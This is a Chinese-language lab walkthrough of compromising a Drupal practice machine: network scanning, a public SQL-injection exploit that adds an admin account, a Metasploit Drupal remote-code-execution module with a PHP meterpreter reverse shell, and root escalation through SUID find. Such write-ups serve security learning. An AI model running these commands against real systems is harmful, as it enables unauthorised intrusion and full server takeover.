Drupal靶机
免责声明:以下内容仅供学习参考,如果用于任何非法途径,后果自负,希望大家做一个遵纪守法的好公民,一起保护我们的网络安全!!!
信息收集
1.扫描网段
nmap 192.168.63.0/24 -p 80
扫描出靶机 192.168.63.134
2.IP
详细扫描
nmap 192.168.63.134 -A -p-
发现以下路径:
http://192.168.63.134/INSTALL.mysql.txt http://192.168.63.134/INSTALL.pgsql.txt http://192.168.63.134/INSTALL.sqlite.txt http://192.168.63.134/install.php http://192.168.63.134/INSTALL.txt http://192.168.63.134/LICENSE.txt http://192.168.63.134/MAINTAINERS.txt
3.敏感目录扫描
nikto -h http://192.168.63.134
dirb http://192.168.63.134
发现上面两个工具都扫描不出其他目录,然后就尝试另外一个工具gobuster
:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.63.134
最终扫描出以下路径:
http://192.168.63.134/search
http://192.168.63.134/cron.php
http://192.168.63.134/0
http://192.168.63.134/usr
http://192.168.63.134/admin
http://192.168.63.134/burmese.html
http://192.168.63.134/misc/
http://192.168.63.134/themes/
http://192.168.63.134/modules/
http://192.168.63.134/scripts/
经过以上路径尝试,发现没有什么有用的信息,都是没有权限访问。
渗透阶段
1.搜索指纹
通过以上路径的探索,发现没有可利用的信息之后,于是想通过 searchsploit
工具来查找指纹,通过靶机首页可以发现,这个靶机是通过 drupal框架
来做的,于是使用以下命令:
searchsploit drupal
2.利用漏洞库文件
可以发现这个框架有很多漏洞利用库,在其中发现了一个 SQL注入
的利用文件,这个文件可以用来添加管理员用户,于是使用
searchsploit -m 34992.py
下载下来,下载之后需要使用 python2
执行,然后可以看到如何使用:
于是输入以下命令使用:
python2 34992.py -t http://192.168.63.134 -u yuan -p 123456
可以看到,成功添加管理员用户,于是进入首页输入用户名密码,成功登录:
3.探索后台
进入这个后台之后,经过搜索,找到文件上传去上传php
文件,发现被过滤了,最后只找到有点小用的flag3
信息:
这个信息告诉我们,使用 perm可以帮助我们找到密码,但是需要去执行指令 -exec
,但是这个网站没有地方有命令注入的漏洞啊,所以没办法执行,然后继续找找其他线索,最后还是没有发现。所以只能从其他方向入手了。
4.MSF漏洞利用
网站找不到可以利用的线索,接下来就只能依靠 msf
了,于是进入 msfconsole
,通过指纹搜索search drupal
:
发现有很多漏洞利用库,有几个远程代码执行漏洞,经过多次尝试,发现只有第二个能利用,利用步骤如下:
1.使用模块
use 1
2.查看配置信息
show options
发现我们需要配置靶机地址,靶机IP,靶机端口
3.设置payload
由于这个网站是
PHP
写的,经过前面的信息收集很多地方都可以发现,所以payload为php
:set payload php/meterpreter/reverse_tcp
4.设置
IP
set rhosts 192.168.63.134
5.设置端口
set rport 80
6.启动攻击:
run
成功拿到
meterpreter
5.探索网站目录的shell
拿到 meterpreter
之后,输入shell进入终端,输入 ls
可以看到当前目录信息,但是终端显示不好,于是输入以下命令优化终端显示:
python -c "import pty;pty.spawn('/bin/bash')"
进入这个网站的终端shell之后,进行探索,首先去家目录,发现没有什么有用的信息,于是再看看 /etc/passwd
文件:
发现有一个普通用户 flag4
,没有其他有用的信息了,得想到一些提权方式:
比如sudo,suid,定时任务,/etc/passwd可写,内核提权,具体的提权详细步骤可以百度,我经过尝试之后,发现在这个网站目录下可以直接执行 搜索 suid
可执行程序的命令:
find / -perm -u=s -type f 2>/dev/null
执行后发现,这个网站目录下具有执行 find
命令的root权限,于是可以借助 find -exec
来执行我们想要的命令,比如我们想要进入终端,于是可以输入以下命令:
find /bin -exec '/bin/bash' \;
可以看到用户身份还是网站目录用户,所以可以尝试一下 /bin/sh
:
find /bin -exec '/bin/sh' \;
然后输入 whoami
,可以看到,身份为root,提权成功。
总结
通过kali
的漏洞利用库的远程代码执行,进入网站目录之后,我们具有惯性思维,就是直接去家目录找相关的信息,想找到普通用户的密码线索,然后基于普通用户进行提权,其实有时候思维不能定死在这里了,既然进入了网站的目录用户终端,那不一定非要普通用户的权限才能提权,也许网站目录用户也具有一些root用户的程序执行权限,所以可以先尝试提权姿势:suid
,sudo
,定时任务等,实在没办法再从普通用户入手,拿到普通用户的权限之后再找线索。
但是,有的网站目录用户是没有find执行权限或者sudo
命令,于是无法使用sudo
提权或者suid
提权,所以这个时候想进一步提权就需要先拿到普通用户的权限,由于进入网站目录之后可以查看 /etc/passwd
权限,可以发现有个flag4
普通用户,但是没有其他信息了,于是就可以尝试密码爆破,因为已经确定了用户名,密码如果强大的话,爆破成功只是时间问题。